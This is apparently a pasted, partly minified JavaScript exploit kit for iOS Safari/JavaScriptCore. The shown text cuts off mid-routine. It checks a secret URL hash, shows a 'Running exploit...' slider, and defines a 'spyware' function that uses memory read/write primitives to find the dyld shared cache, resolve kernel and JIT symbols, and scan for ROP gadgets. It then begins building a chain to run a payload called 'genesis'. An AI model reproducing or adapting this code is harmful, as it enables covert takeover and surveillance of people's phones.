SHOW:
|
|
- or go back to the newest paste.
| 1 | var $jscomp = $jscomp || {};
| |
| 2 | $jscomp.scope = {};
| |
| 3 | $jscomp.ASSUME_ES5 = !1; | |
| 4 | $jscomp.ASSUME_NO_NATIVE_MAP = !1; | |
| 5 | $jscomp.ASSUME_NO_NATIVE_SET = !1; | |
| 6 | $jscomp.defineProperty = $jscomp.ASSUME_ES5 || "function" == typeof Object.defineProperties ? Object.defineProperty : function(a, d, e) {
| |
| 7 | a != Array.prototype && a != Object.prototype && (a[d] = e.value) | |
| 8 | }; | |
| 9 | $jscomp.getGlobal = function(a) {
| |
| 10 | return "undefined" != typeof window && window === a ? a : "undefined" != typeof global && null != global ? global : a | |
| 11 | }; | |
| 12 | $jscomp.global = $jscomp.getGlobal(this); | |
| 13 | $jscomp.SYMBOL_PREFIX = "jscomp_symbol_"; | |
| 14 | $jscomp.initSymbol = function() {
| |
| 15 | $jscomp.initSymbol = function() {};
| |
| 16 | $jscomp.global.Symbol || ($jscomp.global.Symbol = $jscomp.Symbol) | |
| 17 | }; | |
| 18 | $jscomp.Symbol = function() {
| |
| 19 | var a = 0; | |
| 20 | return function(d) {
| |
| 21 | return $jscomp.SYMBOL_PREFIX + (d || "") + a++ | |
| 22 | } | |
| 23 | }(); | |
| 24 | $jscomp.initSymbolIterator = function() {
| |
| 25 | $jscomp.initSymbol(); | |
| 26 | var a = $jscomp.global.Symbol.iterator; | |
| 27 | a || (a = $jscomp.global.Symbol.iterator = $jscomp.global.Symbol("iterator"));
| |
| 28 | "function" != typeof Array.prototype[a] && $jscomp.defineProperty(Array.prototype, a, {
| |
| 29 | configurable: !0, | |
| 30 | writable: !0, | |
| 31 | value: function() {
| |
| 32 | return $jscomp.arrayIterator(this) | |
| 33 | } | |
| 34 | }); | |
| 35 | $jscomp.initSymbolIterator = function() {}
| |
| 36 | }; | |
| 37 | $jscomp.initSymbolAsyncIterator = function() {
| |
| 38 | $jscomp.initSymbol(); | |
| 39 | var a = $jscomp.global.Symbol.asyncIterator; | |
| 40 | a || (a = $jscomp.global.Symbol.asyncIterator = $jscomp.global.Symbol("asyncIterator"));
| |
| 41 | $jscomp.initSymbolAsyncIterator = function() {}
| |
| 42 | }; | |
| 43 | $jscomp.arrayIterator = function(a) {
| |
| 44 | var d = 0; | |
| 45 | return $jscomp.iteratorPrototype(function() {
| |
| 46 | return d < a.length ? {
| |
| 47 | done: !1, | |
| 48 | value: a[d++] | |
| 49 | } : {
| |
| 50 | done: !0 | |
| 51 | } | |
| 52 | }) | |
| 53 | }; | |
| 54 | $jscomp.iteratorPrototype = function(a) {
| |
| 55 | $jscomp.initSymbolIterator(); | |
| 56 | a = {
| |
| 57 | next: a | |
| 58 | }; | |
| 59 | a[$jscomp.global.Symbol.iterator] = function() {
| |
| 60 | return this | |
| 61 | }; | |
| 62 | return a | |
| 63 | }; | |
| 64 | $jscomp.polyfill = function(a, d, e, h) {
| |
| 65 | if (d) {
| |
| 66 | e = $jscomp.global; | |
| 67 | a = a.split(".");
| |
| 68 | for (h = 0; h < a.length - 1; h++) {
| |
| 69 | var r = a[h]; | |
| 70 | r in e || (e[r] = {});
| |
| 71 | e = e[r] | |
| 72 | } | |
| 73 | a = a[a.length - 1]; | |
| 74 | h = e[a]; | |
| 75 | d = d(h); | |
| 76 | d != h && null != d && $jscomp.defineProperty(e, a, {
| |
| 77 | configurable: !0, | |
| 78 | writable: !0, | |
| 79 | value: d | |
| 80 | }) | |
| 81 | } | |
| 82 | }; | |
| 83 | $jscomp.polyfill("Array.from", function(a) {
| |
| 84 | return a ? a : function(a, e, h) {
| |
| 85 | $jscomp.initSymbolIterator(); | |
| 86 | e = null != e ? e : function(a) {
| |
| 87 | return a | |
| 88 | }; | |
| 89 | var d = [], | |
| 90 | y = a[Symbol.iterator]; | |
| 91 | if ("function" == typeof y) {
| |
| 92 | a = y.call(a); | |
| 93 | for (var l = 0; !(y = a.next()).done;) d.push(e.call(h, y.value, l++)) | |
| 94 | } else | |
| 95 | for (y = a.length, l = 0; l < y; l++) d.push(e.call(h, a[l], l)); | |
| 96 | return d | |
| 97 | } | |
| 98 | }, "es6", "es3"); | |
| 99 | $jscomp.checkStringArgs = function(a, d, e) {
| |
| 100 | if (null == a) throw new TypeError("The 'this' value for String.prototype." + e + " must not be null or undefined");
| |
| 101 | if (d instanceof RegExp) throw new TypeError("First argument to String.prototype." + e + " must not be a regular expression");
| |
| 102 | return a + "" | |
| 103 | }; | |
| 104 | $jscomp.polyfill("String.prototype.startsWith", function(a) {
| |
| 105 | return a ? a : function(a, e) {
| |
| 106 | var d = $jscomp.checkStringArgs(this, a, "startsWith"); | |
| 107 | a += ""; | |
| 108 | var r = d.length, | |
| 109 | y = a.length; | |
| 110 | e = Math.max(0, Math.min(e | 0, d.length)); | |
| 111 | for (var l = 0; l < y && e < r;) | |
| 112 | if (d[e++] != a[l++]) return !1; | |
| 113 | return l >= y | |
| 114 | } | |
| 115 | }, "es6", "es3"); | |
| 116 | $jscomp.iteratorFromArray = function(a, d) {
| |
| 117 | $jscomp.initSymbolIterator(); | |
| 118 | a instanceof String && (a += ""); | |
| 119 | var e = 0, | |
| 120 | h = {
| |
| 121 | next: function() {
| |
| 122 | if (e < a.length) {
| |
| 123 | var r = e++; | |
| 124 | return {
| |
| 125 | value: d(r, a[r]), | |
| 126 | done: !1 | |
| 127 | } | |
| 128 | } | |
| 129 | h.next = function() {
| |
| 130 | return {
| |
| 131 | done: !0, | |
| 132 | value: void 0 | |
| 133 | } | |
| 134 | }; | |
| 135 | return h.next() | |
| 136 | } | |
| 137 | }; | |
| 138 | h[Symbol.iterator] = function() {
| |
| 139 | return h | |
| 140 | }; | |
| 141 | return h | |
| 142 | }; | |
| 143 | $jscomp.polyfill("Array.prototype.keys", function(a) {
| |
| 144 | return a ? a : function() {
| |
| 145 | return $jscomp.iteratorFromArray(this, function(a) {
| |
| 146 | return a | |
| 147 | }) | |
| 148 | } | |
| 149 | }, "es6", "es3"); | |
| 150 | $jscomp.owns = function(a, d) {
| |
| 151 | return Object.prototype.hasOwnProperty.call(a, d) | |
| 152 | }; | |
| 153 | $jscomp.polyfill("Object.values", function(a) {
| |
| 154 | return a ? a : function(a) {
| |
| 155 | var e = [], | |
| 156 | d; | |
| 157 | for (d in a) $jscomp.owns(a, d) && e.push(a[d]); | |
| 158 | return e | |
| 159 | } | |
| 160 | }, "es8", "es3"); | |
| 161 | ||
| 162 | function hex(a) {
| |
| 163 | return ("0" + a.toString(16)).substr(-2)
| |
| 164 | } | |
| 165 | ||
| 166 | function hexlify(a) {
| |
| 167 | for (var d = [], e = 0; e < a.length; e++) d.push(hex(a[e])); | |
| 168 | return d.join("")
| |
| 169 | } | |
| 170 | ||
| 171 | function unhexlify(a) {
| |
| 172 | if (1 == a.length % 2) throw new TypeError("Invalid hex string");
| |
| 173 | for (var d = new Uint8Array(a.length / 2), e = 0; e < a.length; e += 2) d[e / 2] = parseInt(a.substr(e, 2), 16); | |
| 174 | return d | |
| 175 | } | |
| 176 | ||
| 177 | function hexdump(a) {
| |
| 178 | "undefined" !== typeof a.BYTES_PER_ELEMENT && (a = Array.from(a)); | |
| 179 | for (var d = [], e = 0; e < a.length; e += 16) {
| |
| 180 | var h = a.slice(e, e + 16).map(hex); | |
| 181 | 8 < h.length && h.splice(8, 0, " "); | |
| 182 | d.push(h.join(" "))
| |
| 183 | } | |
| 184 | return d.join("\n")
| |
| 185 | } | |
| 186 | var Struct = function() {
| |
| 187 | var a = new ArrayBuffer(8), | |
| 188 | d = new Uint8Array(a), | |
| 189 | e = new Uint32Array(a), | |
| 190 | h = new Float64Array(a); | |
| 191 | return {
| |
| 192 | pack: function(e, d) {
| |
| 193 | e[0] = d; | |
| 194 | return new Uint8Array(a, 0, e.BYTES_PER_ELEMENT) | |
| 195 | }, | |
| 196 | unpack: function(a, e) {
| |
| 197 | if (e.length !== a.BYTES_PER_ELEMENT) throw Error("Invalid bytearray");
| |
| 198 | d.set(e); | |
| 199 | return a[0] | |
| 200 | }, | |
| 201 | int8: d, | |
| 202 | int32: e, | |
| 203 | float64: h | |
| 204 | } | |
| 205 | }(); | |
| 206 | ||
| 207 | function ab2str(a) {
| |
| 208 | return String.fromCharCode.apply(null, new Uint16Array(a)) | |
| 209 | } | |
| 210 | ||
| 211 | function str2ab(a) {
| |
| 212 | for (var d = new ArrayBuffer(2 * a.length), e = new Uint16Array(d), h = 0, r = a.length; h < r; h++) e[h] = a.charCodeAt(h); | |
| 213 | return d | |
| 214 | }; | |
| 215 | /\b10_\S+ like Mac OS X/.test(navigator.userAgent) || (window.crypto.subtle || window.crypto.webkitSubtle).digest({
| |
| 216 | name: "SHA-1" | |
| 217 | }, str2ab(window.location.hash)).then(function(a) {
| |
| 218 | if ("9e04130fa02fc3c416f28ba556f0165da4d93054" != hexlify(new Uint8Array(a))) throw null;
| |
| 219 | }).catch(function() {
| |
| 220 | window.location.replace("incompatible.html")
| |
| 221 | }); | |
| 222 | window.addEventListener("DOMContentLoaded", function() {
| |
| 223 | (function(a) {
| |
| 224 | var d = document.getElementById("thumbtack"),
| |
| 225 | e = document.getElementById("hint"),
| |
| 226 | h = 0, | |
| 227 | r = null, | |
| 228 | y = d.parentNode.clientWidth - d.clientWidth - 5, | |
| 229 | l = null, | |
| 230 | p = function(a) {
| |
| 231 | h = a; | |
| 232 | e.style.opacity = 1 - a / (.25 * y); | |
| 233 | d.style.left = a + "px" | |
| 234 | }, | |
| 235 | g = function(a) {
| |
| 236 | r = a; | |
| 237 | l = h; | |
| 238 | d.style.WebkitTransitionProperty = ""; | |
| 239 | d.style.WebkitTransitionDuration = "0s"; | |
| 240 | return !1 | |
| 241 | }, | |
| 242 | m = function(a) {
| |
| 243 | null !== r && (a -= r, 0 > a ? a = 0 : a >= y && (a = y), p(a + l)) | |
| 244 | }, | |
| 245 | O = function() {
| |
| 246 | if (null !== r) {
| |
| 247 | r = null; | |
| 248 | if (.9 <= h / y) return p(y), a(), !1; | |
| 249 | var e = | |
| 250 | h; | |
| 251 | p(0); | |
| 252 | d.style.WebkitTransform = "translateX(" + e + "px)";
| |
| 253 | setTimeout(function() {
| |
| 254 | d.style.WebkitTransitionProperty = "-webkit-transform"; | |
| 255 | d.style.WebkitTransitionDuration = "0.25s"; | |
| 256 | d.style.WebkitTransform = "translateX(0px)" | |
| 257 | }, 0); | |
| 258 | return !1 | |
| 259 | } | |
| 260 | }; | |
| 261 | d.ontouchstart = function(a) {
| |
| 262 | return g(a.targetTouches[0].clientX) | |
| 263 | }; | |
| 264 | window.ontouchmove = function(a) {
| |
| 265 | return m(a.targetTouches[0].clientX) | |
| 266 | }; | |
| 267 | window.ontouchend = function(a) {
| |
| 268 | return O() | |
| 269 | }; | |
| 270 | d.onmousedown = function(a) {
| |
| 271 | return g(a.clientX) | |
| 272 | }; | |
| 273 | window.onmousemove = function(a) {
| |
| 274 | return m(a.clientX) | |
| 275 | }; | |
| 276 | window.onmouseup = function(a) {
| |
| 277 | return O() | |
| 278 | }; | |
| 279 | return this | |
| 280 | })(function() {
| |
| 281 | var a = document.getElementById("logo");
| |
| 282 | a.parentNode.removeChild(a); | |
| 283 | document.body.className = "wait"; | |
| 284 | document.getElementById("notice").textContent = "Running exploit...";
| |
| 285 | window.setTimeout(function() {
| |
| 286 | window.go() | |
| 287 | }, 10) | |
| 288 | }); | |
| 289 | window.ontouchstart = function(a) {
| |
| 290 | a.preventDefault(); | |
| 291 | return !1 | |
| 292 | } | |
| 293 | }); | |
| 294 | ||
| 295 | function Int64(a) {
| |
| 296 | function d(a, e) {
| |
| 297 | return function() {
| |
| 298 | if (arguments.length != e) throw Error("Not enough arguments for function " + a.name);
| |
| 299 | for (var d = 0; d < arguments.length; d++) arguments[d] instanceof Int64 || (arguments[d] = new Int64(arguments[d])); | |
| 300 | return a.apply(this, arguments) | |
| 301 | } | |
| 302 | } | |
| 303 | var e = new Uint8Array(8); | |
| 304 | switch (typeof a) {
| |
| 305 | case "number": | |
| 306 | a = "0x" + Math.floor(a).toString(16); | |
| 307 | case "string": | |
| 308 | a.startsWith("0x") && (a = a.substr(2));
| |
| 309 | 1 == a.length % 2 && (a = "0" + a); | |
| 310 | a = unhexlify(a, 8); | |
| 311 | e.set(Array.from(a).reverse()); | |
| 312 | break; | |
| 313 | case "object": | |
| 314 | if (a instanceof Int64) e.set(a.bytes()); | |
| 315 | else {
| |
| 316 | if (8 != a.length) throw TypeError("Array must have excactly 8 elements.");
| |
| 317 | e.set(a) | |
| 318 | } | |
| 319 | break; | |
| 320 | case "undefined": | |
| 321 | break; | |
| 322 | default: | |
| 323 | throw TypeError("Int64 constructor requires an argument.");
| |
| 324 | } | |
| 325 | this.asDouble = function() {
| |
| 326 | if (255 == e[7] && (255 == e[6] || 254 == e[6])) throw new RangeError("Integer can not be represented by a double");
| |
| 327 | return Struct.unpack(Struct.float64, e) | |
| 328 | }; | |
| 329 | this.asJSValue = function() {
| |
| 330 | if (0 == e[7] && 0 == e[6] || 255 == e[7] && 255 == e[6]) throw new RangeError("Integer can not be represented by a JSValue");
| |
| 331 | this.assignSub(this, 281474976710656); | |
| 332 | var a = Struct.unpack(Struct.float64, e); | |
| 333 | this.assignAdd(this, 281474976710656); | |
| 334 | return a | |
| 335 | }; | |
| 336 | this.bytes = function() {
| |
| 337 | return Array.from(e) | |
| 338 | }; | |
| 339 | this.byteAt = function(a) {
| |
| 340 | return e[a] | |
| 341 | }; | |
| 342 | this.toString = function() {
| |
| 343 | return "0x" + hexlify(Array.from(e).reverse()) | |
| 344 | }; | |
| 345 | this.lo = function() {
| |
| 346 | var a = this.bytes(); | |
| 347 | return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0 | |
| 348 | }; | |
| 349 | this.hi = function() {
| |
| 350 | var a = this.bytes(); | |
| 351 | return (a[4] | a[5] << 8 | a[6] << 16 | a[7] << 24) >>> 0 | |
| 352 | }; | |
| 353 | this.assignNeg = d(function(a) {
| |
| 354 | for (var d = 0; 8 > d; d++) e[d] = ~a.byteAt(d); | |
| 355 | return this.assignAdd(this, Int64.One) | |
| 356 | }, 1); | |
| 357 | this.assignAdd = d(function(a, d) {
| |
| 358 | for (var h = 0, l = 0; 8 > l; l++) {
| |
| 359 | var p = a.byteAt(l) + d.byteAt(l) + h; | |
| 360 | h = 255 < p | 0; | |
| 361 | e[l] = p | |
| 362 | } | |
| 363 | return this | |
| 364 | }, 2); | |
| 365 | this.assignSub = d(function(a, d) {
| |
| 366 | for (var h = 0, l = 0; 8 > l; l++) {
| |
| 367 | var p = a.byteAt(l) - d.byteAt(l) - h; | |
| 368 | h = 0 > p | 0; | |
| 369 | e[l] = p | |
| 370 | } | |
| 371 | return this | |
| 372 | }, 2) | |
| 373 | } | |
| 374 | Int64.fromDouble = function(a) {
| |
| 375 | a = Struct.pack(Struct.float64, a); | |
| 376 | return new Int64(a) | |
| 377 | }; | |
| 378 | ||
| 379 | function Neg(a) {
| |
| 380 | return (new Int64).assignNeg(a) | |
| 381 | } | |
| 382 | ||
| 383 | function Add(a, d) {
| |
| 384 | return (new Int64).assignAdd(a, d) | |
| 385 | } | |
| 386 | ||
| 387 | function Sub(a, d) {
| |
| 388 | return (new Int64).assignSub(a, d) | |
| 389 | } | |
| 390 | Int64.Zero = new Int64(0); | |
| 391 | Int64.One = new Int64(1); | |
| 392 | (function() {
| |
| 393 | function a(a, d) {
| |
| 394 | d instanceof Int64 || (d = new Int64(d)); | |
| 395 | for (var e = 0; e < a.length; ++e) {
| |
| 396 | var g = a[e].fileoff, | |
| 397 | p = Add(g, a[e].size); | |
| 398 | if ((g.hi() < d.hi() || g.hi() == d.hi() && g.lo() <= d.lo()) && (p.hi() > d.hi() || p.hi() == d.hi() && p.lo() > d.lo())) return Add(a[e].addr, Sub(d, g)) | |
| 399 | } | |
| 400 | return new Int64("0x4141414141414141")
| |
| 401 | } | |
| 402 | ||
| 403 | function d(d, g, h, l, r) {
| |
| 404 | l = Array.from(l); | |
| 405 | void 0 === r && (r = {});
| |
| 406 | for (var p = null, k = d.u32(Add(g, 16)), n = 0, m = 32; n < k; ++n) {
| |
| 407 | if (2 == d.u32(Add(g, m))) {
| |
| 408 | p = d.read(Add(g, m + 8), 16); | |
| 409 | p = {
| |
| 410 | symoff: b2u32(p.slice(0, 4)), | |
| 411 | nsyms: b2u32(p.slice(4, | |
| 412 | 8)), | |
| 413 | stroff: b2u32(p.slice(8, 12)), | |
| 414 | strsize: b2u32(p.slice(12, 16)) | |
| 415 | }; | |
| 416 | break | |
| 417 | } | |
| 418 | m += d.u32(Add(g, m + 4)) | |
| 419 | } | |
| 420 | null == p && fail("stab");
| |
| 421 | var y = a(h, p.stroff), | |
| 422 | B = 0; | |
| 423 | g = function(a) {
| |
| 424 | return d.read(Add(y, B + a), 1)[0] | |
| 425 | }; | |
| 426 | for (n = 0; n < p.nsyms && 0 < l.length; ++n) | |
| 427 | for (B = d.u32(a(h, p.symoff + 16 * n)), k = 0; k < l.length; ++k) | |
| 428 | if (m = l[k], e(g, m)) {
| |
| 429 | r[m] = d.readInt64(a(h, p.symoff + 16 * n + 8)); | |
| 430 | l.splice(k, 1); | |
| 431 | break | |
| 432 | } | |
| 433 | return r | |
| 434 | } | |
| 435 | ||
| 436 | function e(a, d) {
| |
| 437 | for (var e = "function" == typeof a ? a : function(d) {
| |
| 438 | return a[d] | |
| 439 | }, g = 0; g < d.length; ++g) | |
| 440 | if (e(g) != d.charCodeAt(g)) return !1; | |
| 441 | return 0 == e(d.length) | |
| 442 | } | |
| 443 | ||
| 444 | function h(a) {
| |
| 445 | return b2u32(this.read(a, 4)) | |
| 446 | } | |
| 447 | ||
| 448 | function r(a, d) {
| |
| 449 | a instanceof Int64 && (a = a.lo()); | |
| 450 | d instanceof Int64 && (d = d.lo()); | |
| 451 | a + d > this.length && fail("OOB read: " + a + " -> " + (a + d) + ", size: " + d);
| |
| 452 | return this.slice(a, a + d) | |
| 453 | } | |
| 454 | ||
| 455 | function y(a) {
| |
| 456 | return new Int64(this.read(a, 8)) | |
| 457 | } | |
| 458 | ||
| 459 | function l(a, d) {
| |
| 460 | a instanceof Int64 && (a = a.lo()); | |
| 461 | this.set(d.bytes(), a) | |
| 462 | } | |
| 463 | window.fail = function(a) {
| |
| 464 | alert("FAIL: " + a);
| |
| 465 | location.reload(); | |
| 466 | throw null; | |
| 467 | }; | |
| 468 | window.b2u32 = function(a) {
| |
| 469 | return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0 | |
| 470 | }; | |
| 471 | window.spyware = function(p, g, m) {
| |
| 472 | var O = | |
| 473 | document.createElement("div"),
| |
| 474 | J = p.addrof(O); | |
| 475 | J = g.readInt64(J + 24); | |
| 476 | var T = g.readInt64(J); | |
| 477 | g.u32 = h; | |
| 478 | for (var k = g.readInt64(T), n = Sub(k, k.lo() & 4095); !e(g.read(n, 16), "dyld_v1 arm64");) n = Sub(n, 4096); | |
| 479 | var x = null, | |
| 480 | F = g.u32(Add(n, 20)), | |
| 481 | B = g.read(Add(n, g.u32(Add(n, 16))), 32 * F), | |
| 482 | z = []; | |
| 483 | for (k = 0; k < F; ++k) {
| |
| 484 | var f = 32 * k; | |
| 485 | f = {
| |
| 486 | addr: new Int64(B.slice(f + 0, f + 8)), | |
| 487 | size: new Int64(B.slice(f + 8, f + 16)), | |
| 488 | fileoff: new Int64(B.slice(f + 16, f + 24)), | |
| 489 | maxprot: b2u32(B.slice(f + 24, f + 28)), | |
| 490 | initprot: b2u32(B.slice(f + 28, f + 32)) | |
| 491 | }; | |
| 492 | z.push(f); | |
| 493 | 0 != f.fileoff.hi() || 0 != | |
| 494 | f.fileoff.lo() || 0 == f.size.hi() && 0 == f.size.lo() || (x = f) | |
| 495 | } | |
| 496 | null == x && fail("base_seg");
| |
| 497 | F = Sub(n, x.addr); | |
| 498 | for (k = 0; k < z.length; ++k) z[k].addr = Add(z[k].addr, F); | |
| 499 | var K = {
| |
| 500 | "/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"], | |
| 501 | "/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"], | |
| 502 | "/usr/lib/system/libsystem_c.dylib": ["_usleep"], | |
| 503 | "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC32startOfFixedExecutableMemoryPoolE", "__ZN3JSC30endOfFixedExecutableMemoryPoolE"] | |
| 504 | }; | |
| 505 | if (/\b10_\S+ like Mac OS X/.test(navigator.userAgent)) {
| |
| 506 | B = {
| |
| 507 | regloader: [2853635040, 2853569505, 2853700578, 2853766115, 2853831652, 2853897189, 3594453888], | |
| 508 | dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104], | |
| 509 | altdispatch: [3594453664, 3506471871, 2839706621, 2839629812, 2831374326, 3596551104], | |
| 510 | stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104], | |
| 511 | altstackloader: [3506521023, 2839903229, 2839826420, 2839762934, 2839699448, 2839635962, 2831577084, 3596551104] | |
| 512 | }; | |
| 513 | var Q = ["/usr/lib/libLLVM.dylib"] | |
| 514 | } else K["/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"].push("__ZN3JSC29jitWriteSeparateHeapsFunctionE"), B = {
| |
| 515 | ldrx8: [4181722088, 4177527400, 2839706621, 2839629812, 2432746495, 3596551104], | |
| 516 | dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104], | |
| 517 | regloader: [2853569507, 2853897190, 2853700576, 2853372897, 2853635042, 4181722084, 3594453248], | |
| 518 | stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104], | |
| 519 | movx4: [2853438436, 3594453248], | |
| 520 | ldrx0x0: [4181721088] | |
| 521 | }, Q = ["/usr/lib/PN548.dylib", "/usr/lib/libc++.1.dylib"]; | |
| 522 | x = {};
| |
| 523 | var C = {},
| |
| 524 | D = Add(n, g.u32(Add(n, 24))); | |
| 525 | n = g.u32(Add(n, 28)); | |
| 526 | for (k = 0; k < n; ++k) {
| |
| 527 | var Y = a(z, g.u32(Add(D, 32 * k + 24))), | |
| 528 | U = function(a) {
| |
| 529 | return g.read(Add(Y, a), 1)[0] | |
| 530 | }, | |
| 531 | t = Add(g.readInt64(Add(D, 32 * k)), F); | |
| 532 | if (Q.some(function(a) {
| |
| 533 | return e(U, a) | |
| 534 | })) {
| |
| 535 | var u = g.u32(Add(t, 16)), | |
| 536 | q = 0; | |
| 537 | for (f = 32; q < u; ++q) {
| |
| 538 | var v = g.u32(Add(t, f)); | |
| 539 | if (25 == v && e(g.read(Add(t, f + 8), 16), "__TEXT")) {
| |
| 540 | v = g.u32(Add(t, f + 64)); | |
| 541 | u = 0; | |
| 542 | for (q = f + 72; u < v; ++u) {
| |
| 543 | if (e(g.read(Add(t, | |
| 544 | q), 16), "__text")) {
| |
| 545 | f = Object.keys(B).filter(function(a) {
| |
| 546 | return !C.hasOwnProperty[a] | |
| 547 | }); | |
| 548 | if (0 == f.length) break; | |
| 549 | u = {};
| |
| 550 | for (var w = 0; w < f.length; ++w) u[f[w]] = 0; | |
| 551 | v = Add(g.readInt64(Add(t, q + 32)), F); | |
| 552 | t = g.u32(Add(t, q + 40)); | |
| 553 | q = new Uint32Array(t / 4); | |
| 554 | for (w = 0; w < t; w += 4096) {
| |
| 555 | var E = 4096; | |
| 556 | t - w < E && (E = t - w); | |
| 557 | for (var L = g.read(Add(v, w), E), A = 0; A < E; A += 4) {
| |
| 558 | var I = b2u32(L.slice(A, A + 4)); | |
| 559 | q[(w + A) / 4] = I | |
| 560 | } | |
| 561 | } | |
| 562 | for (E = 0; E < t && 0 < f.length; E++) | |
| 563 | for (L = q[E], w = 0; w < f.length; w++) | |
| 564 | if (A = f[w], I = B[A], L == I[u[A]]) {
| |
| 565 | if (u[A]++, u[A] == I.length) {
| |
| 566 | C[A] = Add(v, 4 * (E - (I.length - 1))); | |
| 567 | f.splice(w, | |
| 568 | 1); | |
| 569 | break | |
| 570 | } | |
| 571 | } else u[A] = 0; | |
| 572 | break | |
| 573 | } | |
| 574 | q += 80 | |
| 575 | } | |
| 576 | break | |
| 577 | } | |
| 578 | f += g.u32(Add(t, f + 4)) | |
| 579 | } | |
| 580 | } else {
| |
| 581 | f = null; | |
| 582 | u = Object.keys(K); | |
| 583 | for (q = 0; q < u.length; ++q) | |
| 584 | if (e(U, u[q])) {
| |
| 585 | f = K[u[q]]; | |
| 586 | break | |
| 587 | } | |
| 588 | null != f && d(g, t, z, f, x) | |
| 589 | } | |
| 590 | } | |
| 591 | C.dispatch || (C.dispatch = C.altdispatch); | |
| 592 | C.stackloader || (C.stackloader = C.altstackloader); | |
| 593 | delete B.altdispatch; | |
| 594 | delete B.altstackloader; | |
| 595 | u = Object.values(K).reduce(function(a, b) {
| |
| 596 | b.forEach(function(b) {
| |
| 597 | a.push(b) | |
| 598 | }); | |
| 599 | return a | |
| 600 | }, []); | |
| 601 | for (k = 0; k < u.length; ++k) z = u[k], null == x[z] && fail(z), x[z] = Add(x[z], F); | |
| 602 | u = Object.keys(B); | |
| 603 | for (k = 0; k < u.length; ++k) z = u[k], | |
| 604 | null == C[z] && fail(z); | |
| 605 | F = x.__longjmp; | |
| 606 | var R = C.regloader, | |
| 607 | M = C.dispatch, | |
| 608 | S = C.stackloader, | |
| 609 | P = C.ldrx8, | |
| 610 | V = C.movx4, | |
| 611 | W = new Int64(g.readInt64(x._mach_task_self_).lo()), | |
| 612 | X = x.__kernelrpc_mach_vm_protect_trap; | |
| 613 | B = x.__platform_memmove; | |
| 614 | K = x._usleep; | |
| 615 | Q = g.readInt64(x.__ZN3JSC32startOfFixedExecutableMemoryPoolE); | |
| 616 | z = g.readInt64(x.__ZN3JSC30endOfFixedExecutableMemoryPoolE); | |
| 617 | x = x.__ZN3JSC29jitWriteSeparateHeapsFunctionE ? g.readInt64(x.__ZN3JSC29jitWriteSeparateHeapsFunctionE) : Int64.Zero; | |
| 618 | m.u32 = h; | |
| 619 | m.read = r; | |
| 620 | m.readInt64 = y; | |
| 621 | m.writeInt64 = l; | |
| 622 | D = new Int64("0xffffffffffffffff");
| |
| 623 | n = new Int64(0); | |
| 624 | u = m.u32(16); | |
| 625 | k = 0; | |
| 626 | for (f = 32; k < u; ++k) {
| |
| 627 | v = m.u32(f); | |
| 628 | if (25 == v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
| |
| 629 | t = m.readInt64(f + 24); | |
| 630 | v = m.readInt64(f + 32); | |
| 631 | v = Add(t, v); | |
| 632 | if (t.hi() < D.hi() || t.hi() == D.hi() && t.lo() <= D.lo()) D = t; | |
| 633 | if (v.hi() > n.hi() || v.hi() == n.hi() && v.lo() > n.lo()) n = v | |
| 634 | } | |
| 635 | f += m.u32(f + 4) | |
| 636 | } | |
| 637 | n = Sub(n, D); | |
| 638 | 0 != n.hi() && fail("shsz");
| |
| 639 | w = new Uint8Array(n.lo()); | |
| 640 | t = g.readInt64(Add(p.addrof(w), 16)); | |
| 641 | var H = Sub(z, n); | |
| 642 | H = Sub(H, H.lo() & 16383); | |
| 643 | E = Sub(H, D); | |
| 644 | z = []; | |
| 645 | f = 32; | |
| 646 | for (k = 0; k < u; ++k) {
| |
| 647 | v = m.u32(f); | |
| 648 | if (25 == | |
| 649 | v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
| |
| 650 | L = m.readInt64(f + 24); | |
| 651 | v = m.readInt64(f + 32); | |
| 652 | A = m.readInt64(f + 40); | |
| 653 | I = m.readInt64(f + 56); | |
| 654 | if (v.hi() < q.hi() || v.hi() == q.hi() && v.lo() <= q.lo()) q = v; | |
| 655 | z.push({
| |
| 656 | addr: Sub(L, D), | |
| 657 | size: q, | |
| 658 | fileoff: A, | |
| 659 | prots: I | |
| 660 | }); | |
| 661 | 0 != A.hi() && fail("fileoff");
| |
| 662 | 0 != q.hi() && fail("filesize");
| |
| 663 | A = A.lo(); | |
| 664 | q = q.lo(); | |
| 665 | w.set(m.slice(A, A + q), Sub(L, D).lo()) | |
| 666 | } | |
| 667 | f += m.u32(f + 4) | |
| 668 | } | |
| 669 | w.u32 = h; | |
| 670 | w.read = r; | |
| 671 | w.readInt64 = y; | |
| 672 | m = d(w, 0, z, ["genesis"]); | |
| 673 | null == m.genesis && fail("genesis");
| |
| 674 | m = Add(m.genesis, E); | |
| 675 | g.writeInt64(Add(T, 24), F); | |
| 676 | g.writeInt64(Add(J, | |
| 677 | 88), S); | |
| 678 | f = 4096; | |
| 679 | var c = new Uint32Array(1048576), | |
| 680 | G = g.readInt64(Add(p.addrof(c), 16)), | |
| 681 | b = 1048576 - f, | |
| 682 | Z = function(a, d, e, f, g, h, k) {
| |
| 683 | h = h || Int64.Zero; | |
| 684 | c[b++] = 3735879696; | |
| 685 | c[b++] = 3735879697; | |
| 686 | c[b++] = 3735879698; | |
| 687 | c[b++] = 3735879699; | |
| 688 | c[b++] = M.lo(); | |
| 689 | c[b++] = M.hi(); | |
| 690 | c[b++] = 3735879700; | |
| 691 | c[b++] = 3735879701; | |
| 692 | c[b++] = h.lo(); | |
| 693 | c[b++] = h.hi(); | |
| 694 | c[b++] = g.lo(); | |
| 695 | c[b++] = g.hi(); | |
| 696 | c[b++] = f.lo(); | |
| 697 | c[b++] = f.hi(); | |
| 698 | c[b++] = d.lo(); | |
| 699 | c[b++] = d.hi(); | |
| 700 | c[b++] = e.lo(); | |
| 701 | c[b++] = e.hi(); | |
